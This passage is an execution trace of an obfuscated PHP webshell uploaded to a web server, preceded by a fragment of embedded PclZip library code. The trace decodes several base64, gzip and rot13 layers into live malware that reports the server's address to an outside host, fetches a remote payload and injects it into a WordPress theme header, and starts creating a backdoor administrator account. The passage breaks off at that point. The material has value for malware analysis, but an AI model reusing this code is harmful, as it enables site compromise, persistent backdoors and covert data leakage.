PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \\''.\$p_archive_filename.'\\' in binary write mode'); return PclZip::errorCode(); } \$v_size = filesize(\$p_archive_filename); while (\$v_size != 0) { \$v_read_size = (\$v_size < PCLZIP_READ_BLOCK_SIZE ? \$v_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = fread(\$v_zip_temp_fd, \$v_read_size); @fwrite(\$this->zip_fd, \$v_buffer, \$v_read_size); \$v_size -= \$v_read_size; } \$this->privCloseFd(); @fclose(\$v_zip_temp_fd); return \$v_result; } function privErrorLog(\$p_error_code=0, \$p_error_string='') { if (PCLZIP_ERROR_EXTERNAL == 1) { PclError(\$p_error_code, \$p_error_string); } else { \$this->error_code = \$p_error_code; \$this->error_string = \$p_error_string; } } function privErrorReset() { if (PCLZIP_ERROR_EXTERNAL == 1) { PclErrorReset(); } else { \$this->error_code = 0; \$this->error_string = ''; } } function privDisableMagicQuotes() { \$v_result=1; if ( (!function_exists(\"get_magic_quotes_runtime\")) || (!function_exists(\"set_magic_quotes_runtime\"))) { return \$v_result; } if (\$this->magic_quotes_status != -1) { return \$v_result; } \$this->magic_quotes_status = @get_magic_quotes_runtime(); if (\$this->magic_quotes_status == 1) { @set_magic_quotes_runtime(0); } return \$v_result; } function privSwapBackMagicQuotes() { \$v_result=1; if ( (!function_exists(\"get_magic_quotes_runtime\")) || (!function_exists(\"set_magic_quotes_runtime\"))) { return \$v_result; } if (\$this->magic_quotes_status != -1) { return \$v_result; } if (\$this->magic_quotes_status == 1) { @set_magic_quotes_runtime(\$this->magic_quotes_status); } return \$v_result; } } function PclZipUtilPathReduction(\$p_dir) { \$v_result = \"\"; if (\$p_dir != \"\") { \$v_list = explode(\"/\", \$p_dir); \$v_skip = 0; for (\$i=sizeof(\$v_list)-1; \$i>=0; \$i--) { if (\$v_list[\$i] == \".\") { } else if (\$v_list[\$i] == \"..\") { \$v_skip++; } else if (\$v_list[\$i] == \"\") { if (\$i == 0) { \$v_result = \"/\".\$v_result; if (\$v_skip > 0) { \$v_result = \$p_dir; \$v_skip = 0; } } else if (\$i == (sizeof(\$v_list)-1)) { \$v_result = \$v_list[\$i]; } else { } } else { if (\$v_skip > 0) { \$v_skip--; } else { \$v_result = \$v_list[\$i].(\$i!=(sizeof(\$v_list)-1)?\"/\".\$v_result:\"\"); } } } if (\$v_skip > 0) { while (\$v_skip > 0) { \$v_result = '../'.\$v_result; \$v_skip--; } } } return \$v_result; } function PclZipUtilPathInclusion(\$p_dir, \$p_path) { \$v_result = 1; if ( (\$p_dir == '.') || ((strlen(\$p_dir) >=2) && (substr(\$p_dir, 0, 2) == './'))) { \$p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr(\$p_dir, 1); } if ( (\$p_path == '.') || ((strlen(\$p_path) >=2) && (substr(\$p_path, 0, 2) == './'))) { \$p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr(\$p_path, 1); } \$v_list_dir = explode(\"/\", \$p_dir); \$v_list_dir_size = sizeof(\$v_list_dir); \$v_list_path = explode(\"/\", \$p_path); \$v_list_path_size = sizeof(\$v_list_path); \$i = 0; \$j = 0; while ((\$i < \$v_list_dir_size) && (\$j < \$v_list_path_size) && (\$v_result)) { if (\$v_list_dir[\$i] == '') { \$i++; continue; } if (\$v_list_path[\$j] == '') { \$j++; continue; } if ((\$v_list_dir[\$i] != \$v_list_path[\$j]) && (\$v_list_dir[\$i] != '') && ( \$v_list_path[\$j] != '')) { \$v_result = 0; } \$i++; \$j++; } if (\$v_result) { while ((\$j < \$v_list_path_size) && (\$v_list_path[\$j] == '')) \$j++; while ((\$i < \$v_list_dir_size) && (\$v_list_dir[\$i] == '')) \$i++; if ((\$i >= \$v_list_dir_size) && (\$j >= \$v_list_path_size)) { \$v_result = 2; } else if (\$i < \$v_list_dir_size) { \$v_result = 0; } } return \$v_result; } function PclZipUtilCopyBlock(\$p_src, \$p_dest, \$p_size, \$p_mode=0) { \$v_result = 1; if (\$p_mode==0) { while (\$p_size != 0) { \$v_read_size = (\$p_size < PCLZIP_READ_BLOCK_SIZE ? \$p_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$p_src, \$v_read_size); @fwrite(\$p_dest, \$v_buffer, \$v_read_size); \$p_size -= \$v_read_size; } } else if (\$p_mode==1) { while (\$p_size != 0) { \$v_read_size = (\$p_size < PCLZIP_READ_BLOCK_SIZE ? \$p_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @gzread(\$p_src, \$v_read_size); @fwrite(\$p_dest, \$v_buffer, \$v_read_size); \$p_size -= \$v_read_size; } } else if (\$p_mode==2) { while (\$p_size != 0) { \$v_read_size = (\$p_size < PCLZIP_READ_BLOCK_SIZE ? \$p_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @fread(\$p_src, \$v_read_size); @gzwrite(\$p_dest, \$v_buffer, \$v_read_size); \$p_size -= \$v_read_size; } } else if (\$p_mode==3) { while (\$p_size != 0) { \$v_read_size = (\$p_size < PCLZIP_READ_BLOCK_SIZE ? \$p_size : PCLZIP_READ_BLOCK_SIZE); \$v_buffer = @gzread(\$p_src, \$v_read_size); @gzwrite(\$p_dest, \$v_buffer, \$v_read_size); \$p_size -= \$v_read_size; } } return \$v_result; } function PclZipUtilRename(\$p_src, \$p_dest) { \$v_result = 1; if (!@rename(\$p_src, \$p_dest)) { if (!@copy(\$p_src, \$p_dest)) { \$v_result = 0; } else if (!@unlink(\$p_src)) { \$v_result = 0; } } return \$v_result; } function PclZipUtilOptionText(\$p_option) { \$v_list = get_defined_constants(); for (reset(\$v_list); \$v_key = key(\$v_list); next(\$v_list)) { \$v_prefix = substr(\$v_key, 0, 10); if (( (\$v_prefix == 'PCLZIP_OPT') || (\$v_prefix == 'PCLZIP_CB_') || (\$v_prefix == 'PCLZIP_ATT')) && (\$v_list[\$v_key] == \$p_option)) { return \$v_key; } } \$v_result = 'Unknown'; return \$v_result; } function PclZipUtilTranslateWinPath(\$p_path, \$p_remove_disk_letter=true) { if (stristr(php_uname(), 'windows')) { if ((\$p_remove_disk_letter) && ((\$v_position = strpos(\$p_path, ':')) != false)) { \$p_path = substr(\$p_path, \$v_position+1); } if ((strpos(\$p_path, '\\\\') > 0) || (substr(\$p_path, 0,1) == '\\\\')) { \$p_path = strtr(\$p_path, '\\\\', '/'); } } return \$p_path; } ?>");

Execution traces

data/traces/4e4acbf2952461253f97032eced8d399_trace-1676238490.8178.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:48:36.715746]
1	0	1	0.000415	393520
1	3	0	0.000853	431024	{main}	1		/var/www/html/uploads/uzip.php	0	0
1		A						/var/www/html/uploads/uzip.php	2	$stt1 = 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
1		A						/var/www/html/uploads/uzip.php	3	$stt0 = '=g+j3il+IKFCXMYFiI+efc6/8rtfP/4e4ssoDqURQkoCeeoCMGMBe7ZYsfSefF6oYah59/LnRgTzV+hqKspGqFnu80usP+QK3bAkvGMsW86uhM4OnaeDiJ2tVKXlAnv3TrbDSzVBaRiR3l+vVn1AIPGIXl6afP0hzbT56cmY0LV32lwPiPVdef3tDdfZ5vlQzv/l8Oirbk+dXryy7pVbFkb7v/uXSSnHf8VW352KmEeOMRSOOdUYOhWErJqPJXUQontX6DcPNdGF/Doqddcl/RwL8w3HC1vyTY/LeSQuxEJdHSXpg/L3F/jrC+a92MDoc4+krX2e+v3SNbq2NwM62J2oHnxLaBPuo4ovyaDgf2jHpiJu70zzHlIqEXXXyEAE2P6O12l93Xl97WTf73ffd2sfu2M3+7FpaZ7ylX3al8qfQ6Ts6H49L2skTY8I1uIkl9L1DprfiyxU2HaTtcfiHZEPLfyM/OE+wHw9g9DhGtsmM1XIdT5ksqMPsonN8C9w'
2	4	0	0.000994	431024	base64_decode	0		/var/www/html/uploads/uzip.php	4	1	'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
2	4	1	0.001023	431184
2	4	R			'K-K��P��S�+.)�/�/14�H���K�I,I\005�J��s\v�R���#��X�jf\022�������\001��(�LC����@\023\tX\003\000'
2	5	0	0.001060	431152	gzinflate	0		/var/www/html/uploads/uzip.php	4	1	'K-K��P��S�+.)�/�/14�H���K�I,I\005�J��s\v�R���#��X�jf\022�������\001��(�LC����@\023\tX\003\000'
2	5	1	0.001097	431376
2	5	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	0	0.001124	431216	htmlspecialchars_decode	0		/var/www/html/uploads/uzip.php	4	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	1	0.001147	431248
2	6	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	7	0	0.001194	434400	eval	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'	/var/www/html/uploads/uzip.php	4	0
3	8	0	0.001217	434400	strrev	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'=g+j3il+IKFCXMYFiI+efc6/8rtfP/4e4ssoDqURQkoCeeoCMGMBe7ZYsfSefF6oYah59/LnRgTzV+hqKspGqFnu80usP+QK3bAkvGMsW86uhM4OnaeDiJ2tVKXlAnv3TrbDSzVBaRiR3l+vVn1AIPGIXl6afP0hzbT56cmY0LV32lwPiPVdef3tDdfZ5vlQzv/l8Oirbk+dXryy7pVbFkb7v/uXSSnHf8VW352KmEeOMRSOOdUYOhWErJqPJXUQontX6DcPNdGF/Doqddcl/RwL8w3HC1vyTY/LeSQuxEJdHSXpg/L3F/jrC+a92MDoc4+krX2e+v3SNbq2NwM62J2oHnxLaBPuo4ovyaDgf2jHpiJu70zzHlIqEXXXyEAE2P6O12l93Xl97WTf73ffd2sfu2M3+7FpaZ7ylX3al8qfQ6Ts6H49L2skTY8I1uIkl9L1DprfiyxU2HaTtcfiHZEPLfyM/OE+wHw9g9DhGtsmM1XIdT5ksqMPsonN8C9w'
3	8	1	0.001300	463104
3	8	R			'eJwBl0potQGSSm21eJwBh0p4tQGCSn21eJwBd0qItQFySo21eJwBZ0qYte1961Ybx9Lo72StvMNYB3ukHSF0RWAsYuDD2PmyuYiYb2PHS0vSHklgIqQBJpay/VDnz3mBcx7sVFVfprun5yIMtuOQrY2lmerq6urq6qrq7upnP/Vv+t9fjbqTYdDrOr/6w5OdfOHP7x34L7jKX/tDv3uWz73e29vpHJ6etLf2Oic7uULBYSD431LQd1pOHOQGwX10/NnANxH+d+d4e/fn/d2j9hF+S0Ubgd+Q0MGVkx8MPfjkoWDRcYuuho0wDueI0n/fn/WmvpMHmCJWo6AJKx56wTyPJd6W3ykAH5XmxBK7236zvdfu7B8dSRpZOc8fjrwuQm98//H7pfdQ5nI88Ffrnak/AZry7vj1bnny+s3q6cX6zeV8feT/XD6f/veb0S/V95VfgvXB6X+1Wm6hxPup5C67JY7B7zIMN8Nh/+nKilta6rxo775q7751iXmvt1/s'
3	9	0	0.001365	463072	base64_decode	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'eJwBl0potQGSSm21eJwBh0p4tQGCSn21eJwBd0qItQFySo21eJwBZ0qYte1961Ybx9Lo72StvMNYB3ukHSF0RWAsYuDD2PmyuYiYb2PHS0vSHklgIqQBJpay/VDnz3mBcx7sVFVfprun5yIMtuOQrY2lmerq6urq6qrq7upnP/Vv+t9fjbqTYdDrOr/6w5OdfOHP7x34L7jKX/tDv3uWz73e29vpHJ6etLf2Oic7uULBYSD431LQd1pOHOQGwX10/NnANxH+d+d4e/fn/d2j9hF+S0Ubgd+Q0MGVkx8MPfjkoWDRcYuuho0wDueI0n/fn/WmvpMHmCJWo6AJKx56wTyPJd6W3ykAH5XmxBK7236zvdfu7B8dSRpZOc8fjrwuQm98//H7pfdQ5nI88Ffrnak/AZry7vj1bnny+s3q6cX6zeV8feT/XD6f/veb0S/V95VfgvXB6X+1Wm6hxPup5C67JY7B7zIMN8Nh/+nKilta6rxo775q7751iXmvt1/s'
3	9	1	0.001523	491776
3	9	R			'x�\001�Jh�\001�Jm�x�\001�Jx�\001�J}�x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t�'
3	10	0	0.002019	463072	gzuncompress	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'x�\001�Jh�\001�Jm�x�\001�Jx�\001�J}�x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t�'
3	10	1	0.002514	483584
3	10	R			'\001�Jm�x�\001�Jx�\001�J}�x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�'
3	11	0	0.003004	454880	gzinflate	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'\001�Jm�x�\001�Jx�\001�J}�x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�'
3	11	1	0.003380	475392
3	11	R			'x�\001�Jx�\001�J}�x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b'
3	12	0	0.003767	454880	gzuncompress	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'x�\001�Jx�\001�J}�x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b'
3	12	1	0.004147	475392
3	12	R			'\001�J}�x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\00'
3	13	0	0.004558	454880	gzinflate	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'\001�J}�x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\00'
3	13	1	0.004942	475392
3	13	R			'x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\003d?�o�\'
3	14	0	0.005328	454880	gzuncompress	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'x�\001wJ��\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\003d?�o�\'
3	14	1	0.005710	475392
3	14	R			'\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\003d?�o�\r�~\f�a�?�'
3	15	0	0.006084	454880	gzinflate	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'\001rJ��x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\003d?�o�\r�~\f�a�?�'
3	15	1	0.006462	475392
3	15	R			'x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\003d?�o�\r�~\f�a�?���s�r�t'
3	16	0	0.006840	454880	gzuncompress	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'x�\001gJ���}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\003d?�o�\r�~\f�a�?���s�r�t'
3	16	1	0.007216	475392
3	16	R			'�}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\003d?�o�\r�~\f�a�?���s�r�t{\aq�\002�'
3	17	0	0.007591	454880	gzinflate	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'�}�V\033����d���X\a{�\035!tE`,b�������oc�KK�\036I`"�\001&���P��y�s\036�TU_����"\f�㐭������������g?�o��_���a��:��Ó�|���\035�/��_�C�{�Ͻ����\034�����:\';�B�a ��R�wZN\034�\006�}t��7\021�w�x{��ݣ�\021~KE\033�ߐ���\037\f=��`�q����0\016��ߟ����\a�"V��\t+\036z�<�%ޖ�)\000\037���\022��~�����\037\035I\032Y9�\037��.Bo|��P�r<�W띩?\001���ny�������|}�\\>�����/��_�����Zn����.�%���2\f7�a��ʊ[Z�h�j�u�y��_���z�~��y�{�b\023�w�\034t���`8Ȼ��7�\004�`\b��5wir\003d?�o�\r�~\f�a�?���s�r�t{\aq�\002�'
3	17	1	0.008259	569600
3	17	R			'<?cuc\nshapgvba TrgVC(){\n    vs(trgrai("UGGC_PYVRAG_VC")) {\n        $vc = trgrai("UGGC_PYVRAG_VC");\n    } ryfrvs(trgrai("UGGC_K_SBEJNEQRQ_SBE")) {\n        $vc = trgrai("UGGC_K_SBEJNEQRQ_SBE");\n        vs (fgefge($vc, \',\')) {\n            $gzc = rkcybqr (\',\', $vc);\n            $vc = gevz($gzc[0]);\n        }\n    } ryfr {\n        $vc = trgrai("ERZBGR_NQQE");\n    }\n    erghea $vc;\n}\n$k = onfr64_qrpbqr(\'nUE0pUZ6Yl9uoz9hrJ0jqKZhL2k1Lv9fYD==\').TrgVC().\'-\'.onfr64_rapbqr(\'uggc://\'.$_FREIRE[\'U'
3	18	0	0.008485	549088	str_rot13	0		/var/www/html/uploads/uzip.php(4) : eval()'d code	1	1	'<?cuc\nshapgvba TrgVC(){\n    vs(trgrai("UGGC_PYVRAG_VC")) {\n        $vc = trgrai("UGGC_PYVRAG_VC");\n    } ryfrvs(trgrai("UGGC_K_SBEJNEQRQ_SBE")) {\n        $vc = trgrai("UGGC_K_SBEJNEQRQ_SBE");\n        vs (fgefge($vc, \',\')) {\n            $gzc = rkcybqr (\',\', $vc);\n            $vc = gevz($gzc[0]);\n        }\n    } ryfr {\n        $vc = trgrai("ERZBGR_NQQE");\n    }\n    erghea $vc;\n}\n$k = onfr64_qrpbqr(\'nUE0pUZ6Yl9uoz9hrJ0jqKZhL2k1Lv9fYD==\').TrgVC().\'-\'.onfr64_rapbqr(\'uggc://\'.$_FREIRE[\'U'
3	18	1	0.008664	663808
3	18	R			'<?php\nfunction GetIP(){\n    if(getenv("HTTP_CLIENT_IP")) {\n        $ip = getenv("HTTP_CLIENT_IP");\n    } elseif(getenv("HTTP_X_FORWARDED_FOR")) {\n        $ip = getenv("HTTP_X_FORWARDED_FOR");\n        if (strstr($ip, \',\')) {\n            $tmp = explode (\',\', $ip);\n            $ip = trim($tmp[0]);\n        }\n    } else {\n        $ip = getenv("REMOTE_ADDR");\n    }\n    return $ip;\n}\n$x = base64_decode(\'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==\').GetIP().\'-\'.base64_encode(\'http://\'.$_SERVER[\'H'
3	19	0	0.012847	1369640	eval	1	'?><?php\nfunction GetIP(){\n    if(getenv("HTTP_CLIENT_IP")) {\n        $ip = getenv("HTTP_CLIENT_IP");\n    } elseif(getenv("HTTP_X_FORWARDED_FOR")) {\n        $ip = getenv("HTTP_X_FORWARDED_FOR");\n        if (strstr($ip, \',\')) {\n            $tmp = explode (\',\', $ip);\n            $ip = trim($tmp[0]);\n        }\n    } else {\n        $ip = getenv("REMOTE_ADDR");\n    }\n    return $ip;\n}\n$x = base64_decode(\'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ==\').GetIP().\'-\'.base64_encode(\'http://\'.$_SERVER[\'HTTP_HOST\'].$_SERVER[\'REQUEST_URI\']);\nif(function_exists(\'curl_init\'))\n{\n    $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);\n    if($gitt == false){\n        @$gitt = file_get_contents($x);\n    }\n}elseif(function_exists(\'file_get_contents\')){\n    @$gitt = file_get_contents($x);\n}\n?><?php\n$document_root = $_SERVER["DOCUMENT_ROOT"];\n$document_root_file = dirname(__FILE__);\n$wp_detect = 0;\nif(file_exists($document_root.\'/wp-load.php\'))\n{   \n    include $document_root.\'/wp-load.php\';\n    $wp_detect = 1;\n}else\n{\n    $prefix = count(@explode(\'/\', $document_root_file));\n    $a = \'\';\n    for($i = 0; $i<$prefix; $i++)\n    {\n      $a = $a.\'../\';\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\n      {\n          include $document_root_file.\'/\'.$a.\'wp-load.php\';\n          $wp_detect = 1;\n          break;\n      }\n    }\n}\n\nif($wp_detect == 1)\n{\n    //Header Yazdırma\n    $wp_theme_dir = get_template_directory();\n    $header_file = $wp_theme_dir.\'/headers.php\';\n    $header_content = file_get_contents($header_file);\n    $append = http_get(\'https://acbdf.space/txt/wp.txt\');\n    if(!preg_match(\'#\'.$append.\'#\', $header_content))\n    {   \n\t    $new_content = $append.$header_content;\n\t    $open_file = fopen($header_file, \'w\');\n\t    fwrite($open_file, $new_content);\n\t    fclose($open_file);\n    }\n    //Header Yazdırma   \n    \n    // shell Ekleme\n    $user = \'new_admin\';\n    $pass = 